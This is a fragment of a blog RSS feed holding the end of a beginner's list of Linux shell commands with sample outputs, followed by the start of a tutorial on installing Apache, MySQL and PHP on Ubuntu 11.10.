&lt;div class="command"&gt;$ nl lorem.txt&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4&amp;nbsp;&amp;nbsp;commodo consequat. Duis aute irure dolor in reprehenderit in voluptate&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;5&amp;nbsp;&amp;nbsp;velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&amp;nbsp;&amp;nbsp;occaecat cupidatat non proident, sunt in culpa qui officia deserunt&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;7&amp;nbsp;&amp;nbsp;mollit anim id est laborum.&lt;/div&gt;&lt;h3&gt;nm&lt;/h3&gt;List symbols from object files. &lt;div class="command"&gt;$ nm hello_world&lt;/div&gt;&lt;div class="system"&gt;080494a0 D _DYNAMIC&lt;br /&gt;
0804956c D _GLOBAL_OFFSET_TABLE_&lt;br /&gt;
08048474 R _IO_stdin_used&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; w _Jv_RegisterClasses&lt;br /&gt;
08049490 d __CTOR_END__&lt;br /&gt;
0804948c d __CTOR_LIST__&lt;br /&gt;
08049498 d __DTOR_END__&lt;br /&gt;
...&lt;/div&gt;&lt;h3&gt;od&lt;/h3&gt;Dump files in octal and other formats. &lt;div class="command"&gt;$ od -t x /bin/sh&lt;/div&gt;&lt;div class="system"&gt;2376640 00098020 000054d4 00000000 00000000&lt;br /&gt;
2376660 00000020 00000000 000000c7 00000008&lt;br /&gt;
2376700 00000003 080e6500 0009d4f4 00004ae8&lt;br /&gt;
...&lt;/div&gt;&lt;h3&gt;pidof&lt;/h3&gt;Find the process ID of a running program. &lt;div class="command"&gt;$ pidof fetchmail&lt;/div&gt;&lt;div class="system"&gt;22392&lt;/div&gt;&lt;h3&gt;ping&lt;/h3&gt;Pings a host. &lt;div class="command"&gt;$ ping -c 2 127.0.0.1&lt;/div&gt;&lt;div class="system"&gt;PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.&lt;br /&gt;
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.048 ms&lt;br /&gt;
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.052 ms&lt;br /&gt;
&lt;br /&gt;
--- 127.0.0.1 ping statistics ---&lt;br /&gt;
2 packets transmitted, 2 received, 0% packet loss, time 999ms&lt;br /&gt;
rtt min/avg/max/mdev = 0.048/0.050/0.052/0.002 ms &lt;/div&gt;&lt;h3&gt;ps&lt;/h3&gt;Outputs running processes. &lt;div class="command"&gt;$ ps&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;&amp;nbsp;PID&amp;nbsp;TTY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TIME&amp;nbsp;CMD&lt;br /&gt;
21542&amp;nbsp;pts/12&amp;nbsp;&amp;nbsp;&amp;nbsp;00:00:00&amp;nbsp;bash&lt;br /&gt;
27706&amp;nbsp;pts/12&amp;nbsp;&amp;nbsp;&amp;nbsp;00:00:00&amp;nbsp;ps &lt;/div&gt;&lt;h3&gt;pstree&lt;/h3&gt;Display a tree of processes. &lt;div class="command"&gt;$ pstree&lt;/div&gt;&lt;div class="system"&gt;init-+-2*[BitchX]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-3*[bash---sleep]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-fetchmail&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-screen-+-bash---irssi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;`-bash---ctorrent&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-screen-+-bash---lisp.run&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-bash---vi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-2*[bash]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;`-bash---lynx&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-2*[screen---bash---irssi]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-screen---irssi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-screen---bash&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-screen-+-bash&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;`-irssi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-skjerm---irssi&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-sshd-+-5*[sshd---sshd---bash---irssi]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-8*[sshd---sshd---bash]&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-sshd---sshd---bash---screen&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|-sshd---sshd&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;|&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;`-sshd---sshd---bash---pstree&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;`-syslog-ng&lt;/div&gt;&lt;h3&gt;pwd&lt;/h3&gt;Outputs the name of current working directory. &lt;div class="command"&gt;$ pwd&lt;/div&gt;&lt;div class="system"&gt;/home/smallfoot&lt;/div&gt;&lt;h3&gt;rm&lt;/h3&gt;Removes a file or directory. &lt;div class="command"&gt;$ rm lorem.txt&lt;/div&gt;&lt;h3&gt;rmdir&lt;/h3&gt;Removes a directory. &lt;div class="command"&gt;$ rmdir foobar&lt;/div&gt;&lt;h3&gt;sed&lt;/h3&gt;Stream editor for filtering and transforming text. &lt;div class="command"&gt;$ echo "My cat's name is Bob" | sed -e 's/Bob/Mittens/g'&lt;/div&gt;&lt;div class="system"&gt;My cat's name is Mittens&lt;/div&gt;&lt;h3&gt;sha1sum&lt;/h3&gt;Outputs the SHA1 hash sum of a file. &lt;div class="command"&gt;$ sha1sum lorem.txt&lt;/div&gt;&lt;div class="system"&gt;c942ddebd142ec8bacac9213d48096e74bab4957&amp;nbsp;&amp;nbsp;lorem.txt&lt;/div&gt;&lt;h3&gt;shutdown&lt;/h3&gt;Bring the system down in a secure way.  All logged-in users are notified that the system is going down. &lt;div class="command"&gt;$ shutdown now&lt;/div&gt;&lt;h3&gt;size&lt;/h3&gt;List section sizes and total size. &lt;div class="command"&gt;$ size /bin/bash&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;text&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;data&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bss&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;dec&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;hex&amp;nbsp;filename&lt;br /&gt;
&amp;nbsp;621233&amp;nbsp;&amp;nbsp;&amp;nbsp;22712&amp;nbsp;&amp;nbsp;&amp;nbsp;19176&amp;nbsp;&amp;nbsp;663121&amp;nbsp;&amp;nbsp;&amp;nbsp;a1e51&amp;nbsp;/bin/bash&lt;/div&gt;&lt;h3&gt;stat&lt;/h3&gt;Outputs file status. &lt;div class="command"&gt;$ stat lorem.txt&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;&amp;nbsp;File:&amp;nbsp;`lorem.txt'&lt;br /&gt;
&amp;nbsp;&amp;nbsp;Size:&amp;nbsp;453&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Blocks:&amp;nbsp;8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;IO&amp;nbsp;Block:&amp;nbsp;4096&amp;nbsp;&amp;nbsp;&amp;nbsp;regular&amp;nbsp;file&lt;br /&gt;
Device:&amp;nbsp;77h/119d&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Inode:&amp;nbsp;27312217&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Links:&amp;nbsp;1&lt;br /&gt;
Access:&amp;nbsp;(0644/-rw-r--r--)&amp;nbsp;&amp;nbsp;Uid:&amp;nbsp;(&amp;nbsp;1478/smallfoot)&amp;nbsp;&amp;nbsp;&amp;nbsp;Gid:&amp;nbsp;(&amp;nbsp;&amp;nbsp;100/&amp;nbsp;&amp;nbsp;&amp;nbsp;users)&lt;br /&gt;
Access:&amp;nbsp;2007-03-03&amp;nbsp;12:24:39.000000000&amp;nbsp;+0000&lt;br /&gt;
Modify:&amp;nbsp;2007-03-03&amp;nbsp;12:24:39.000000000&amp;nbsp;+0000&lt;br /&gt;
Change:&amp;nbsp;2007-03-03&amp;nbsp;12:24:39.000000000&amp;nbsp;+0000 &lt;/div&gt;&lt;h3&gt;strings&lt;/h3&gt;Print the strings of printable characters in files. &lt;div class="command"&gt;$ strings hello_world&lt;/div&gt;&lt;div class="system"&gt;/lib/ld-linux.so.2&lt;br /&gt;
_Jv_RegisterClasses&lt;br /&gt;
__gmon_start__&lt;br /&gt;
libc.so.6&lt;br /&gt;
puts&lt;br /&gt;
_IO_stdin_used&lt;br /&gt;
__libc_start_main&lt;br /&gt;
GLIBC_2.0&lt;br /&gt;
PTRh%&lt;br /&gt;
[^_]&lt;br /&gt;
Hello World!&lt;/div&gt;&lt;h3&gt;tail&lt;/h3&gt;Output the last part of files. &lt;div class="command"&gt;$ tail -2 lorem.txt&lt;/div&gt;&lt;div class="system"&gt;occaecat cupidatat non proident, sunt in culpa qui officia deserunt&lt;br /&gt;
mollit anim id est laborum.&lt;/div&gt;&lt;h3&gt;talk&lt;/h3&gt;Talk to another user. &lt;div class="command"&gt;$ talk bob Lookout for the dopefish!&lt;/div&gt;&lt;h3&gt;touch&lt;/h3&gt;Change a file's access and modification timestamps. If file does not exist, create it. &lt;div class="command"&gt;$ touch lorem.txt&lt;/div&gt;&lt;h3&gt;tty&lt;/h3&gt;Outputs the name of the current terminal. &lt;div class="command"&gt;$ tty&lt;/div&gt;&lt;div class="system"&gt;/dev/pts/16&lt;/div&gt;&lt;h3&gt;uname&lt;/h3&gt;Outputs operating system, hostname, kernel version, date and timp, and processor. &lt;div class="command"&gt;$ uname -a&lt;/div&gt;&lt;div class="system"&gt;Linux anapnea.net 2.6.9 #1 SMP Wed Jul 19 16:24:18 MSD 2006 i686 Intel(R) Xeon(TM) CPU 2.80GHz GenuineIntel GNU/Linux&lt;/div&gt;&lt;h3&gt;uptime&lt;/h3&gt;Outputs the system uptime. &lt;div class="command"&gt;$ uptime&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;14:50:26 up 7 days, 17:52, 18 users,&amp;nbsp;&amp;nbsp;load average: 0.08, 0.02, 0.01&lt;/div&gt;&lt;h3&gt;users&lt;/h3&gt;Print the user names of users currently logged in to the current host. &lt;div class="command"&gt;$ users&lt;/div&gt;&lt;div class="system"&gt;alice bob charlie eve&lt;/div&gt;&lt;h3&gt;vdir&lt;/h3&gt;List directory contents. &lt;div class="command"&gt;$ vdir&lt;/div&gt;&lt;div class="system"&gt;total 8&lt;br /&gt;
-rw-r--r-- 1 smallfoot users 453 Mar &amp;nbsp;3 12:32 copy_of_lorem.txt&lt;br /&gt;
-rw-r--r-- 1 smallfoot users 453 Mar &amp;nbsp;3 12:24 lorem.txt&lt;br /&gt;
-rw-r--r-- 1 smallfoot users &amp;nbsp;&amp;nbsp;0 Mar &amp;nbsp;3 12:32 moo.txt&lt;br /&gt;
lrwxr-xr-x 1 root&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; root &amp;nbsp;&amp;nbsp;18 Feb 27 19:33 www -&amp;gt; /var/www/smallfoot&lt;br /&gt;
&lt;/div&gt;&lt;h3&gt;w&lt;/h3&gt;Show who is logged on and what they are doing. &lt;div class="command"&gt;$ w&lt;/div&gt;&lt;div class="system"&gt;&amp;nbsp;12:14:30&amp;nbsp;up&amp;nbsp;5&amp;nbsp;days,&amp;nbsp;15:16,&amp;nbsp;19&amp;nbsp;users,&amp;nbsp;&amp;nbsp;load&amp;nbsp;average:&amp;nbsp;0.00,&amp;nbsp;0.00,&amp;nbsp;0.00&lt;br /&gt;
USER&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TTY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LOGIN@&amp;nbsp;&amp;nbsp;&amp;nbsp;IDLE&amp;nbsp;&amp;nbsp;&amp;nbsp;JCPU&amp;nbsp;&amp;nbsp;&amp;nbsp;PCPU&amp;nbsp;WHAT&lt;br /&gt;
charlie&amp;nbsp;&amp;nbsp;pts/0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Fri21&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3:26m&amp;nbsp;&amp;nbsp;2.52s&amp;nbsp;&amp;nbsp;2.52s&amp;nbsp;irssi&lt;br /&gt;
alice&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Wed17&amp;nbsp;&amp;nbsp;&amp;nbsp;30:21m&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;-bash&lt;br /&gt;
emma&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;11:37&amp;nbsp;&amp;nbsp;&amp;nbsp;36:57&amp;nbsp;&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;-bash&lt;br /&gt;
frank&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;11:48&amp;nbsp;&amp;nbsp;&amp;nbsp;11:03&amp;nbsp;&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;-bash&lt;br /&gt;
smallfoo&amp;nbsp;pts/12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12:01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0.00s&amp;nbsp;&amp;nbsp;0.04s&amp;nbsp;&amp;nbsp;0.01s&amp;nbsp;w &lt;/div&gt;&lt;h3&gt;wall&lt;/h3&gt;Send a message to everybody's terminal. &lt;div class="command"&gt;$ wall next week we change the server for a new one&lt;/div&gt;&lt;h3&gt;wc&lt;/h3&gt;Counts lines in a file. &lt;div class="command"&gt;$ wc -l lorem.txt&lt;/div&gt;&lt;div class="system"&gt;7 lorem.txt&lt;/div&gt;&lt;h3&gt;whatis&lt;/h3&gt;Search the whatis database for complete words. &lt;div class="command"&gt;$ whatis bash&lt;/div&gt;&lt;div class="system"&gt;bash&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; (1)&amp;nbsp;&amp;nbsp;- GNU Bourne-Again SHell&lt;br /&gt;
bash [builtins]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(1)&amp;nbsp;&amp;nbsp;- bash built-in commands, see bash(1) &lt;/div&gt;&lt;h3&gt;who&lt;/h3&gt;Outputs who is currently logged into the system. &lt;div class="command"&gt;$ who&lt;/div&gt;&lt;div class="system"&gt;charlie&amp;nbsp;&amp;nbsp;pts/0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mar&amp;nbsp;&amp;nbsp;2&amp;nbsp;21:37&amp;nbsp;(xtreme-11-65.acme.com)&lt;br /&gt;
alice&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Feb&amp;nbsp;28&amp;nbsp;17:48&amp;nbsp;(147.21.16.3)&lt;br /&gt;
emma&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mar&amp;nbsp;&amp;nbsp;3&amp;nbsp;11:37&amp;nbsp;(32.84-48-181.uac.com)&lt;br /&gt;
frank&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pts/5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mar&amp;nbsp;&amp;nbsp;3&amp;nbsp;11:48&amp;nbsp;(port-212-202-233-2.foobar.org)&lt;br /&gt;
smallfoot&amp;nbsp;pts/12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Mar&amp;nbsp;&amp;nbsp;3&amp;nbsp;12:01&amp;nbsp;(c-12776f4.cust.example.net) &lt;/div&gt;&lt;h3&gt;whereis&lt;/h3&gt;Locate the binary, source, and manual page files for a command. &lt;div class="command"&gt;$ whereis bash&lt;/div&gt;&lt;div class="system"&gt;bash: /bin/bash /etc/bash /usr/share/man/man1/bash.1.gz&lt;/div&gt;&lt;h3&gt;whoami&lt;/h3&gt;Outputs your username / the name of your account. &lt;div class="command"&gt;$ whoami&lt;/div&gt;&lt;div class="system"&gt;smallfoot&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-7298910190354806015?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/s9Iz9P6K0qs" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/s9Iz9P6K0qs/linux-commands-for-beginners.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-XOq8NG-5Ygw/TqFoEKgBn7I/AAAAAAAAAVU/f2xEHwX4shE/s72-c/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.png" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/10/linux-commands-for-beginners.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-2937991702873399141</guid><pubDate>Fri, 21 Oct 2011 12:33:00 +0000</pubDate><atom:updated>2011-10-21T05:41:50.724-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tutorials</category><title>INSTALLING LAMP on Ubuntu 11.xx  Tutorial</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;
LAMP is short for &lt;b&gt;L&lt;/b&gt;inux, &lt;b&gt;A&lt;/b&gt;pache, &lt;b&gt;M&lt;/b&gt;ySQL, &lt;b&gt;P&lt;/b&gt;HP. This tutorial shows how you can install an Apache2 webserver on an Ubuntu 11.10 server with PHP5 support (mod_php) and MySQL support. &lt;br /&gt;
I do not issue any guarantee that this will work for you!&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;1 Preliminary Note&lt;/h3&gt;In this tutorial I use the hostname &lt;span class="system"&gt;server1.example.com&lt;/span&gt; with the IP address &lt;span class="system"&gt;192.168.0.23&lt;/span&gt;. These settings might differ for you, so you have to replace them where appropriate. &lt;br /&gt;
I'm running all the steps in this tutorial with root privileges, so make sure you're logged in as root: &lt;br /&gt;
&lt;div class="command"&gt;sudo su&lt;/div&gt;&lt;br /&gt;
&lt;h3&gt;2 Installing MySQL 5&lt;/h3&gt;First we install MySQL 5 like this:&lt;br /&gt;
&lt;div class="command"&gt;apt-get install mysql-server mysql-client&lt;/div&gt;You will be asked to provide a password for the MySQL root user - this password is valid for the user &lt;span class="system"&gt;root@localhost&lt;/span&gt; as well as &lt;span class="system"&gt;root@server1.example.com&lt;/span&gt;, so we don't have to specify a MySQL root password manually later on: &lt;br /&gt;
&lt;span class="system"&gt;New password for the MySQL "root" user:&lt;/span&gt; &lt;span class="highlight"&gt;&amp;lt;-- yourrootsqlpassword&lt;/span&gt;&lt;br /&gt;
&lt;span class="system"&gt;Repeat password for the MySQL "root" user:&lt;/span&gt; &lt;span class="highlight"&gt;&amp;lt;-- yourrootsqlpassword&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;3 Installing Apache2 &lt;/h3&gt;Apache2 is available as an Ubuntu package, therefore we can install it like this:&lt;br /&gt;
&lt;div class="command"&gt;apt-get install apache2&lt;/div&gt;Now direct your browser to &lt;span class="system"&gt;http://192.168.0.23&lt;/span&gt;, and you should see the Apache2 placeholder page (&lt;span class="system"&gt;It works!&lt;/span&gt;):&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-l_6Xog9cqHs/TqFkZo_09CI/AAAAAAAAAU0/2v5aRTpx9kg/s1600/3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="299" src="http://2.bp.blogspot.com/-l_6Xog9cqHs/TqFkZo_09CI/AAAAAAAAAU0/2v5aRTpx9kg/s400/3.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Apache's default document root is &lt;span class="system"&gt;/var/www&lt;/span&gt; on Ubuntu, and the configuration file is &lt;span class="system"&gt;/etc/apache2/apache2.conf&lt;/span&gt;. Additional configurations are stored in subdirectories of the &lt;span class="system"&gt;/etc/apache2&lt;/span&gt; directory such as &lt;span class="system"&gt;/etc/apache2/mods-enabled&lt;/span&gt; (for Apache modules), &lt;span class="system"&gt;/etc/apache2/sites-enabled&lt;/span&gt; (for virtual hosts), and &lt;span class="system"&gt;/etc/apache2/conf.d&lt;/span&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;4 Installing PHP5&lt;/h3&gt;We can install PHP5 and the Apache PHP5 module as follows:&lt;br /&gt;
&lt;div class="command"&gt;apt-get install php5 libapache2-mod-php5&lt;/div&gt;We must restart Apache afterwards:&lt;br /&gt;
&lt;div class="command"&gt;/etc/init.d/apache2 restart&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;h3&gt;5 Testing PHP5 / Getting Details About Your PHP5 Installation&lt;/h3&gt;&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;&lt;h3&gt;&amp;nbsp;&lt;/h3&gt;The document root of the default web site is &lt;span class="system"&gt;/var/www&lt;/span&gt;. We will now create a small PHP file (&lt;span class="system"&gt;info.php&lt;/span&gt;) in that directory and call it in a browser. The file will display lots of useful details about our PHP installation, such as the installed PHP version.&lt;br /&gt;
&lt;div class="command"&gt;vi /var/www/info.php&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;Now we call that file in a browser (e.g. &lt;span class="system"&gt;http://192.168.0.23/info.php&lt;/span&gt;):&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-VpIsBMnRl8A/TqFlE3nP6RI/AAAAAAAAAU8/WqTz527ySeM/s1600/1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="298" src="http://1.bp.blogspot.com/-VpIsBMnRl8A/TqFlE3nP6RI/AAAAAAAAAU8/WqTz527ySeM/s400/1.jpg" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;&lt;div class="command"&gt;Click Image to Enlarge&amp;nbsp;&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;/div&gt;As you see, PHP5 is working, and it's working through the &lt;span class="system"&gt;Apache 2.0 Handler&lt;/span&gt;, as shown in the &lt;span class="system"&gt;Server API&lt;/span&gt; line. If you scroll further down, you will see all modules that are already enabled in PHP5. MySQL is not listed there which means we don't have MySQL support in PHP5 yet.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;6 Getting MySQL Support In PHP5&lt;/h3&gt;To get MySQL support in PHP, we can install the &lt;span class="system"&gt;php5-mysql&lt;/span&gt; package. It's a good idea to install some other PHP5 modules as well as you might need them for your applications. You can search for available PHP5 modules like this:&lt;br /&gt;
&lt;div class="command"&gt;apt-cache search php5&lt;/div&gt;Pick the ones you need and install them like this:&lt;br /&gt;
&lt;div class="command"&gt;apt-get install php5-mysql php5-curl php5-gd php5-idn php-pear php5-imagick php5-imap php5-mcrypt php5-memcache php5-ming php5-ps php5-pspell php5-recode php5-snmp php5-sqlite php5-tidy php5-xmlrpc php5-xsl&lt;/div&gt;Now restart Apache2:&lt;br /&gt;
&lt;div class="command"&gt;/etc/init.d/apache2 restart&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class="command"&gt;Now reload &lt;span class="system"&gt;http://192.168.0.23/info.php&lt;/span&gt; in your browser and scroll down to the modules section again. You should now find lots of new modules there, including the MySQL module:&lt;/div&gt;&lt;div class="command"&gt;&lt;br /&gt;
